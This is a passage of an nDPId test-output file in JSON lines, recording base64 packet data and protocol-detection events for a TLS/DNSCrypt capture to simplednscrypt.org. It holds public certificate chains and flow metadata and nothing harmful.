CQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkehUktIKVrGsDSTdxc9EZ3SZKzejfSNwAHG8U9\/E+ioSj0t\/EFa9n3Byt2F\/yUsPF6c947AEYe7\/EZfH9IY+Cvo+XPmT5jR62RRr55yzhaCCenavcZDX7P0N+pxs+t+wgvQUfvm+xKYvT3+Zf7X8Z0NyvQwA1onrayzT7Y+YHBSrfuXjbvzYqOSSJNpDa2K4Vf3qwbxstovzDo2a5JtsaZn4eEgwRdWt4Q08RWD8MpZRJ7xnw8outmvqRsfHIKCxH2XeSAi6pE6p8oNGN4Tr6MyBSENnTnIqm1y9TBsoilwie7SrmNnu4FGDwwlGTm0+mfqVF9p8M1dBPI1R7Qu2XK8sYxrfV8g\/vOldxJuvRZnio1oktLqpVj3Pb6r\/SVg="} +00415{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":587663,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPTdAAIAGMLrAqCunhncaGMRNAbtYb9mu4w1vMlAQAEDYTgAA"} +02186{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":592873,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGyxVAADMG6r2GdxoYwKgrpwG7xE3jDW8yWG\/ZrlAQAO1vlgAAvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMA0GCSqGSIb3DQEBDAUAA4IBAQBkv4PxX5qF0M24oSlXDeha99HpPvJ2BG7xUnC7Hjz\/TQ10asyBgiXTw6AqXUz1uouhbcRUCXXH4ycOXYR5N0ATd\/W0rBzQO6sXEtbvNBh+K+l506tXRQyvKPrQ2+VQlYi734VXaX2S2FLKc4G\/HPPmuG5mEQWzHpQtf5GVklnxTM6jkXFMfEcMOwsZ9qGxbIY+XKrELoLL+QeWukhNkPKUyKlzousGeyOd3qLzTVWfemFFmBhox15AayP1eXrvjLVri7dvRvR78T1LBNiTgFla4EEkHbKPFWBYR9vvbkb9FfXZX5qz29i45ECzzZc5roW7HY683Ieb0abv8TtvEDhvAAQ6MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821+iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq\/NzgtHj6RQa1wVsfwTz\/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmoaSYYkKtMsE8jqzpPhNjfzp\/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN\/cALw3CknLa0Dhy2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0="} +00416{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":592939,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPTtAAIAGMLbAqCunhncaGMRNAbtYb9mu4w10UFAQAEDTMAAA"} +02180{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":594033,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGyxZAADMG6ryGdxoYwKgrpwG7xE3jDXRQWG\/ZrlAQAO3legAAKddGtworZbbTQm8Vsrh7++\/pXVPVNFonAgMBAAGjgdwwgdkwHQYDVR0OBBYEFK29mHo0tCb3+sQmVO8DveAky1QaMAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTADAQH\/MIGZBgNVHSMEgZEwgY6AFK29mHo0tCb3+sQmVO8DveAky1QaoXOkcTBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290ggEBMA0GCSqGSIb3DQEBBQUAA4IBAQCwm+CFJcLWI+IPlgaSnUGYnNmEeYHZHlsUByM2ZY+w2He7rEFsR2CDUbD5Mj3n\/PYmE8eAFqW\/WvyHz3h5iSGa4kwHCoY1vPLeUcTSlrfcfk7ucP0cOesMAlEULY69FuDB30Z15ySt7PRCtIWTcBBnup0GNUoY0yt6zFFCoXpj0ea7ocUrwja+Ew3mvWN+eXunCQ1Aq2rdj4rD9vaMGkIFUdRF9Z+nYiFoFSBDPJnnfL0k2KmRF3OIP1YbMTgYtHEPms3IDp6OLhvhjJiDyx8x8URMxgRzSXZgD8f4vReAay7pzEwOWpp5DyAKLtWeYyYeVZKU2IIXWnvQvMePToYEFgMDAeAWAAHcAQAB2DCCAdQKAQCgggHNMIIByQYJKwYBBQUHMAEBBIIBujCCAbYwgZ+iFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucYDzIwMTcwNDA5MDQwMjQwWjB0MHIwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy+emBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQCCr5kvWgaS4\/6x6rGelVcqgAAYDzIwMTcwNDA5MDQwMjQwWqARGA8yMDE3MDQxNjA0MDI0MFowDQYJKoZIhvcNAQELBQADggEBAH+wfpp+5LlkCRisx4nBj3QUHeouZckpEuXuzNLrHapMTI2irFC1B8nhS8VqiSEhU80d87eufNjS9ja4P3y\/9Gf1mDgVmwelWuNUfTDa0fIOG+Iok+qRyzywOVh+bLzrVJ1TmjtXTZD42IWFcGqgYx7yUytRrBy8tsK+7tvF\/TdoJvdyDca\/zwlZABw6+foldVCqO5dRcQIV1cOsQ1EYCUZmHJPpUe2sxVE3cuvAzL9LySGo9pync+JfJU2vw8JdwOcokNSprDor2Fq2Lrm0a1PkUH6nOdzaMWMf+cM8JLhskYX9lg8v9hKrHYKQkVmkHpKCAtg4IbjOmYaD7pVy9OUWAwMCTQwAAkkDABdBBHapq+a+1RvaPkrw+ee4k70lh1UvgomunW7tJZ3KB124vcMiE9zuSDjw4PjWLR7E4GTzkba9rjMuXrbauIHzKn8GAQIAplJVwDYmDyML4CQqvp1K03QmRcaDRSLAosFIHzAu+sRgS4ebNR1U+qXWnKHsr4NyPmpRKNuQtWk9DiLrHVaOTLjs2sp38uqEwrOQ3UxXMDKscR1hzl5lnSJoMmXRKibLbT6rRa8wH+wE5niBm63yoijWbPb3gM9Yrt7XniDCuX8sE8b5leg1+dfONIAju22uS\/nTvjAUNQGLY373tsRF9u0TebVGxNOBmi+RJYuGPyjgaC6hIj8qnAHaRcUIufdTuupfzhDQdcw19jjXcdjEO55xl3IgL5M="} +01130{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":76,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":12,"flow_first_seen":1491813286275,"flow_last_seen":1491813286594,"flow_tot_l4_data_len":7024,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50253,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DNScrypt","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","server_names":"simplednscrypt.org,www.simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=simplednscrypt.org","alpn":"h2,http\/1.1","fingerprint":"3E:20:0F:BF:AD:D8:5C:A1:A1:1B:E5:B2:A7:D4:68:E2:6A:DB:01:41"}} +00834{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":594496,"pkt_caplen":360,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":360,"pkt_l4_len":326,"pkt":"pDTZFrEGuFpz9d6dCABFAAFayxdAADMG7qeGdxoYwKgrpwG7xE3jDXluWG\/ZrlAYAO3PeQAA9KgKw1cRKN1LhBpLd0u6575qOGfheGjeKby+2Oy67SVjTf9V2dZBv9BQgaDSierKZovk7ZVnrNNHEsWJhs4XAqtOL7+AnB+KGzxwpkYnPGOxO1gLCj5HmyeXEn+HHxS25swqrkgAec\/JaI2JcROXZppxzn1shFTqUuJpFv1dXzcXCgTjsAIWBKB4u2Bf09QjWk86ppbUwDXx74wtLbeoFSGvP4zs\/WR18s35Wm5lVtMgmoCFrl7U8NCN0abLau0Hn5RiLdTA7XfY\/+uj+QEvI\/nDtTiroeKDOFxXG3jja6DhnklD9Ty1bXR13kyPLxRh2ECehDLaCgotOanR8u7LB\/FRF7jVnFmDXDm8OdqRTvpOO+j9QbKG\/9spShqTY4XwJ09Wr0r9LbwgFgMDAAQOAAAA"} +00415{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":594497,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"pDTZFrEGuFpz9d6dCABFAAAoPCFAADMGftCGdxoYwKgrpwG7xFKVdKj+XuwPVlAQAO2vRQAA"} +00416{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":594609,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPTxAAIAGMLXAqCunhncaGMRNAbtYb9mu4w16oFAQAEDM4AAA"} +00588{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":598966,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"uFpz9d6dpDTZFrEGCABFAACmPT1AAIAGMDbAqCunhncaGMRNAbtYb9mu4w16oFAYAEDgnQAAFgMDAEYQAABCQQQ5fXNvqbM11bCAY9DPMQgGl+h2VtzUXoPpNzY63jYw2WS6d0DPAXMiUXzSMxAPEkVJHsBPRzq4wrlqJTMAnyVeFAMDAAEBFgMDACgAAAAAAAAAACEYNrBfOvxn+amPUTqDEMEbEnofHBf+HvoGe9j\/c1FH"} +02181{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":609961,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGPCJAADMGebGGdxoYwKgrpwG7xFKVdKj+XuwPVlAQAO2HAwAAFgMDAE4CAABKAwPRJEonBRLMJfaLaVlyxfTIHpJjWzn7Q34svDlfU+7rVwDALwAAIgAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAAFAAMCaDIWAwMWMAsAFiwAFikABl8wggZbMIIFQ6ADAgECAhEAgq+ZL1oGkuP+seqxnpVXKjANBgkqhkiG9w0BAQsFADCBkDELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxNjA0BgNVBAMTLUNPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNTA5MjEwMDAwMDBaFw0xNzA5MjAyMzU5NTlaMFYxITAfBgNVBAsTGERvbWFpbiBDb250cm9sIFZhbGlkYXRlZDEUMBIGA1UECxMLUG9zaXRpdmVTU0wxGzAZBgNVBAMTEnNpbXBsZWRuc2NyeXB0Lm9yZzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMckfBBUAmrlLg9wkJ4soZKlNIQMjAggQKzmCAoclNmR68JK3M4fLIkZ2yXTonlITBB6lnVMoAEZBMpbwABFaHlvwXOygaKXWMqPrv9P2mABRSsrUM48enZZksNWv7PgLoxCuUq5dQBTVQR\/+by4tusvjA8jLniSGAuRogCoK4+Bry\/K+xZLe6ieKZUbVIlNqwdFGVmi1s5OLasHEUqX3u10wEovTkqy0XKLeRMURdWGGIngZ4B1kBCB2d1U+m0gFZYxmqr1P6dc7K8OEI3dM3DbamnJnsXBJbGEaumQnAruKpEh9F42Ex5kUzE0\/0+ZFnaBZZ5GElTxAukaT6e5cC9AjTkUNuhSiVZmYI3UO5kBtvx+puTX6r6HSCENTo8ysIVAw1KYMcNaU8lYpu8keEp0LYAErZzfAYqii7LXakRuY38nE81YesDT6mZZ1Ly9tnGg4M6ODkxJdz5DZmROa7jf8FmEtCAEowI5vLVOllOfnWanbpE2+EvTbRRy\/fzHdxKqlCdny547wJVtRBzRfgbpneL2Rl4XMDk+eO9+SRc9ZBEO+\/Bmiz9V5vnn8ZVeKQPUGyXFzUb00uH1IfaZcPPWqJSewYGBo2cK\/Vkdgwr65W8qBkCn5miAkFskh\/VXELFsO4eP9lILEVHFXkRsG\/flpdUix7ZBlvkKZSSaYW8VAgMBAAGjggHnMIIB4zAfBgNVHSMEGDAWgBSQr2o6lFoL2JDqElZz30O0Oija5zAdBgNVHQ4EFgQUriOphLhNie\/nS04PS4s1uALDpQswDgYDVR0PAQH\/BAQDAgWgMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCME8GA1UdIARIMEYwOgYLKwYBBAGyMQECAgcwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMwCAYGZ4EMAQIBMFQGA1UdHwRNMEswSaBHoEWGQ2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcmwwgYUGCCsGAQUFBwEBBHkwdzBPBggrBgEFBQcwAoZDaHR0cDovL2NydC5jb21vZG8="} +00782{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":81,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1491813286392,"flow_last_seen":1491813286609,"flow_tot_l4_data_len":1664,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":277,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50258,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02180{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":610521,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGPCNAADMGebCGdxoYwKgrpwG7xFKVdK4cXuwPVlAQAO0BdwAAY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTA1BgNVHREELjAsghJzaW1wbGVkbnNjcnlwdC5vcmeCFnd3dy5zaW1wbGVkbnNjcnlwdC5vcmcwDQYJKoZIhvcNAQELBQADggEBAEYKh0V6lmCDQfNwo5jPTcH6S9OBZ3Moyfar6ls8iUE8tp\/LzNzBmFb+TXq8npQywPd6U9lqAmXSoJhyb0dfYBhHNVbsB3cQ14vBgqNMJM5m+cWeyf\/JuPZZFBypV6qfp0R+3wJrnwK6f10riZMvAxtVsnZgneHQr4eFFSBfHM1MTPMjofv5JIYhc6+CAaCp2NcOqOsu4Y40YpTUMbkYOxaWUTkMOAgJXGhWVj4TdHMrScYZuPI2D+FcmknNKB4k7q+xxdQ\/8Z1BFGci4Yasa8VEmFoacSHLZ3plleYor63ehrG6hIIT\/HsaYVTaC23y2ysidaPGKG3OrI5uVNMugsgABgwwggYIMIID8KADAgECAhArLm7q2XU2bBSKbtujfIwHMA0GCSqGSIb3DQEBDAUAMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAyMTIwMDAwMDBaFw0yOTAyMTEyMzU5NTlaMIGQMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE2MDQGA1UEAxMtQ09NT0RPIFJTQSBEb21haW4gVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjsICGeGgWaTrODWNLP0B0NNJwGTHC2IFRRY6qKDADAJ\/HczbxKFtdwOjD4b54wacPguBiptJG60DvvpL24wg7dXOXmWOPg2vTMKwt0VeUi803kgkZLRBrgCX975n3p7QeqdTgDt8rfWWVW+XRwp8hYsil42zhOCWV9BwGGCWj+4tB5OdobrK0c176cQqmighkU1vkk8lpfJ6Nd0m3Eal0KxZNYz\/TpFDUD9Zkx5sUSHuWBSr\/nVQeD5MsByGE\/prmLzgO5QehVLcA5MkGG7LJ1FF5nDeJUOkDeFKpe22fsjNbe4uHSdzXdxFMICq47JBC6+9RIfaueUbnX+u5YWCpQIDAQABo4IBZTCCAWEwHwYDVR0jBBgwFoAUu69+Aj36pvE8hI6t7jiY7NkyMtQwHQYDVR0OBBYEFJCvajqUWgvYkOoSVnPfQ7Q6KNrnMA4GA1UdDwEB\/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHSAEFDASMAYGBFUdIAAwCAYGZ4EMAQIBMEwGA1UdHwRFMEMwQaA\/oD2GO2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb24="} +00415{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":610600,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPT5AAIAGMLPAqCunhncaGMRSAbte7A9WlXSzOlAQAECltgAA"} +02188{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":611120,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGPCRAADMGea+GdxoYwKgrpwG7xFKVdLM6XuwPVlAQAO1FhAAAQXV0aG9yaXR5LmNybDBxBggrBgEFBQcBAQRlMGMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wDQYJKoZIhvcNAQEMBQADggIBAE4rdk+SHGI2ibp3wScF9BzWRJ2pmj6q1WZmAT7qSeaiNbz69t2Vjpk1mA42GHWx3d1Qcnyu3HeIzg\/3kCDKo2cuH1Z\/e+FE6kKVxF0NAVBGFfKBiVlsit2M8RKhjTpCipj4SzR7JzsItG8kO3KdY3RYPBpsP0\/HEZrIqPW1N+8QRcZs2eBelSaz662jue5\/DJpmNXMyYE7l3YphLG5SEXdoltMYdVEVABt0iN3hxzgEQyjpFv3ZBdRdRydg1vs4O2xyopT4Qhrf7W8GjEXCBgCq5Ojc2bXhc3js9iPc0d1sjhqPpepUfJa3w\/5Vjo1JXvxku88+vZbrac2\/4EjxYoIQ5QxGV\/Iz2tDIY+3GH5QFlkoakdH368+PUq4NCNk+qKBR6cGHdNXJ93SrLlP7u3r7l+L4HyaPs9Kg4DdbKDsx5Q5XLVq4rXmsXiBmGqW5prU5wfWYQ\/\/u+aen\/e7KJD2AFsQXj4rBYKEMrltDR5FL1ZoXX\/nUh8HCjLfn4g8wGTeGrODcQgPmlKidrv0PJFGUzpII0fxQ8ANAe4hZ7Q7drNJ3gjTcBpUC2JD5Leo31Rpg0Gcg19hCC0Wvgmje3WYkN5AplBlGGSW4gNfL1IYoakRwJiNiqZ+Gb7+6kHDSVneFeO\/qJakXzlByjAA6quPbYzSf+AZxAeKCINT+b72xAAV4MIIFdDCCBFygAwIBAgIQJ2buVutJ846r13Ci\/ITeIjANBgkqhkiG9w0BAQwFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkehUktIKVrGsDSTdxc9EZ3SZKzejfSNwAHG8U9\/E+ioSj0t\/EFa9n3Byt2F\/yUsPF6c947AEYe7\/EZfH9IY+Cvo+XPmT5jR62RRr55yzhaCCenavcZDX7P0N+pxs+t+wgvQUfvm+xKYvT3+Zf7X8Z0NyvQwA1onrayzT7Y+YHBSrfuXjbvzYqOSSJNpDa2K4Vf3qwbxstovzDo2a5JtsaZn4eEgwRdWt4Q08RWD8MpZRJ7xnw8outmvqRsfHIKCxH2XeSAi6pE6p8oNGN4Tr6MyBSENnTnIqm1y9TBsoilwie7SrmNnu4FGDwwlGTm0+mfqVF9p8M1dBPI1R7Qu2XK8sYxrfV8g\/vOldxJuvRZnio1oktLqpVj3Pb6r\/SVg="} +02185{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":612130,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGPCVAADMGea6GdxoYwKgrpwG7xFKVdLhYXuwPVlAQAO034AAAvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHA